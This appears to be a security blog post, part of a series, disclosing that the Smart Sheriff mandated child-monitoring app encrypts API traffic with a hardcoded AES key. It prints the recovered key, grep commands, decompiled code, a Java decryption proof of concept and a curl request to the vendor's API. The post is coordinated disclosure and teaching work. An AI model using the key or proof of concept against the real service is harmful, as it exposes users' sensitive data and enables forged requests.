Hacking Mandated Apps – Part 7: AES Crypto FAIL [ MSTG-CRYPTO-1 ]

This blog post series describes identified flaws in Smart Sheriff, a mandated app, see Intro for background. Please note this work was coordinated with human right activists, vulnerabilities reported to the vendor, etc. Previous blog posts you might have missed and maybe you would like to read first for background:

The OWASP Mobile Application Security Verification Standard classifies the flaw explained in this blog post, under section V3: Cryptography Requirements, as follows:

MSTG-CRYPTO-1: The app does not rely on symmetric cryptography with hardcoded keys as a sole method of encryption.

Detailed information and steps to test for this kind of issue can be found in the OWASP Mobile Security Testing Guide:


So, in the first round of testing we found the app was using a hardcoded key for encrypting/decrypting phone numbers and other sensitive things.

But that was the first time, right? All bugs were reported to MOIBA (the vendor) and in the second round of testing everything should be fine … or not? 🙂

Well, they did what you should (not!) do when crypto fails:

Just add more crypto on top 😛

MOIBA created a new endpoint, intuitively called MessageRequest_New, which basically took old API requests and wrapped them up in an AES layer. However, like XOR, AES offers symmetric encryption: The same key is used to decrypt and encrypt, so, can you make a guess about where the AES key was? 🙂

First let look at this in a way you might use in your mobile app penetration tests: You can grep for crypto algorithms in a recursive (-r) and case insensitive (-i) way, while skipping binary files (-I) like so:

grep -Iir aes *
kr/co/wigsys/sheriff/d/a.java: SecretKeySpec localSecretKeySpec = new SecretKeySpec(str.getBytes("UTF-8"), "AES");
kr/co/wigsys/sheriff/d/a.java: Cipher localCipher = Cipher.getInstance("AES/CBC/PKCS5Padding");

This immediately points us to the relevant file to analyze for pointers:


Code (decompiled):

public final class a


  public static byte[] a = new byte[16];

  public static String a(Context paramContext, String paramString)


    String str = new String(Base64.decode(String.valueOf(paramContext.getText(2131034156)), 0));

    byte[] arrayOfByte = paramString.getBytes("UTF-8");

    IvParameterSpec localIvParameterSpec = new IvParameterSpec(a);

    SecretKeySpec localSecretKeySpec = new SecretKeySpec(str.getBytes("UTF-8"), "AES");

    Cipher localCipher = Cipher.getInstance("AES/CBC/PKCS5Padding");

    localCipher.init(1, localSecretKeySpec, localIvParameterSpec);

    return Base64.encodeToString(localCipher.doFinal(arrayOfByte), 0);



So, in the snippet above, we can see that the AES key is retrieved from string 2131034156 and this is then base64-decoded. With this information we can trivially find the key by first converting the text decimal number into hex and converting that to lower case:

echo "obase=16; 2131034156" | bc | tr '[:upper:]' '[:lower:]'

Another grep then takes us to the file where an ae6 string is defined:

grep -r 7f05002c *

Another search for ae6 tells us the whole story and reveals the hardcoded AES key:

grep -r ‘ae6’ *

res/values/public.xml: res/values/strings.xml: bW9pYmExY3liYXI4c21hcnQ0c2hlcmlmZjRzZWN1cmk=

Just for fun, you can base64-decode this to see what it says:

echo 'bW9pYmExY3liYXI4c21hcnQ0c2hlcmlmZjRzZWN1cmk=' | base64 -d

So, the mobile API implementation can be summarized as follows:

  1. Data is XORed with a static key (no protection, explained earlier)
  2. The JSON output is encrypted with AES (no protection, explained here)
  3. The SSL implementation was first non-existent, then broken.

In one picture from our slides:

This finding corresponds to the second round of testing we did on Smart Sheriff, here is the ticket, which also includes additional details:

SMS-02-012​​ ​​Insecure​​ ​​usage​​ ​​of​​ ​​AES​​ ​​Encryption​​ ​​​​(Critical)

The new version of the Smart Sheriff App introduces a new API endpoint
MessageRequest_New. This endpoint basically just wraps the old API requests in AES (Advanced Encryption Standard) encryption but AES is a symmetric cipher, which means​ ​that​ ​the​ ​same​ ​key​ ​is​ ​used​ ​for​ ​encryption​ ​and​ ​decryption.

The static key is embedded in the ​.apk and can easily be retrieved by everyone with access to the app. It can then be used for decryption of any request, as well as encryption and fake requests. Despite this useless encryption, the responses are still received in plaintext and contain sensitive information, such as XORed password (see SMS-02-005​).

Static​​ ​​AES​​ ​​key:

which​ ​is​ ​“​moiba1cybar8smart4sheriff4securi”​ ​in​ ​base64-encoded.

Plain​​ ​​Request:
“DEVICE_ID”:”unknown”​ ​}

PoC​​ ​​decrypt​​ ​​in​​ ​​Java:
 package​ ​decrypt;
 import​ ​javax.crypto.Cipher;
 import​ ​javax.crypto.SecretKey;
 import​ ​javax.crypto.spec.IvParameterSpec;
 import​ ​javax.crypto.spec.SecretKeySpec;
 import​ ​java.util.Base64;
 public​ ​class​ ​Main​ ​{
 public​ ​static​ ​void​ ​main(String[]​ ​args)​ ​{
 try​ ​{
 String​ ​encrypted_text​ ​=
 ​ ​​ ​​ ​​ ​​ ​​ ​​ ​​ ​​//​​ ​​key​​ ​​=​​ ​​moiba1cybar8smart4sheriff4securi
 ​ ​​ ​​ ​​ ​​ ​​ ​​ ​​ ​byte[]​ ​key​ ​=
 ​ ​​ ​​ ​​ ​​ ​​ ​​ ​​ ​SecretKey​ ​aesKey​ ​=​ ​new​ ​SecretKeySpec(key,​ ​"AES");
 ​ ​​ ​​ ​​ ​​ ​​ ​​ ​​ ​System.out.println("AES​ ​key:​ ​"+new​ ​String(key));
 Cipher​ ​cipher​ ​=​ ​Cipher.getInstance("AES/CBC/PKCS5Padding");
 ​ ​​ ​​ ​​ ​​ ​​ ​​ ​​ ​IvParameterSpec​ ​ivspec​ ​=​ ​new​ ​IvParameterSpec(new​ ​byte[16]);
 ​ ​​ ​​ ​​ ​​ ​​ ​​ ​​ ​cipher.init(Cipher.DECRYPT_MODE,​ ​aesKey,​ ​ivspec);
 ​ ​​ ​​ ​​ ​​ ​​ ​​ ​​ ​byte[]​ ​decrypted_data​ ​=
 ​ ​​ ​​ ​​ ​​ ​​ ​​ ​​ ​String​ ​decoded​ ​=​ ​java.net.URLDecoder.decode(new
 String(decrypted_data),​ ​"UTF-8");
 ​ ​​ ​​ ​​ ​​ ​​ ​​ ​​ ​System.out.println("Decrypted:​ ​"+decoded);
 }​ ​catch​ ​(Exception​ ​e)​ ​{

 AES​​ ​​key:​​ ​​moiba1cybar8smart4sheriff4securi
 Decrypted:​​ ​​{​​ ​​"action":"CLT_MBR_GETCLIENTMEMBERINFO",
 "MOBILE_MACHINE_INFO":"HTC|HTC_One_S|15[4.0.3]",​​ ​​"MOBILE":".3ZP[QVDC6]UK@JC",
 "DEVICE_ID":"unknown"​​ ​​}

Encrypted​​ ​​Request:

$​ ​curl​ ​-s​ ​-v​ ​’http://api.moiba.or.kr/MessageRequest_New’​ ​–data ‘request=+yld3NQpnzU1kzwGNKqSy37IRJATd8bqo86CAdhm2T7mzufojI2MOz/L2WdRqMm3YKDyY/j5bO7hb0x+L4cDVWKzNar+9xFGNtEOnd4WwZCu6+6jRoes7Rn+qKSrCVEuYVjKGJSuVmqbnDYHl+QgaWImTFOJFP1u/2voeJht89pzSeqqNrnn5lOXCyteaD7GPw8PNDZN+E/bTyaVIjqteA==’​ ​|​ ​php​ ​-r
“echo​ ​urldecode(file_get_contents(‘php://stdin’));”

The implemented cryptography is therefore proven to be useless and trivial to defeat by any​ ​technically​ ​verse​ ​attacker.

Hack Smart Sheriff to pieces with us!

NOTE: Attendants will get lifetime access to our training portal with:
– Unlimited course updates & Step-by-step lab video recordings
Lots of real-world apps to practice with, such as:
  + Government-mandated and police apps in various countries
  + Many other excitingly vulnerable real-world apps!
  + IoT apps controlling Toys, Drones, etc.

Cannot make it? ping sales@7asecurity.com for training portal access.

Next blog post:

Hacking Mandated Apps – Part 8: Password Leak via API! [ MSTG-AUTH-1 ]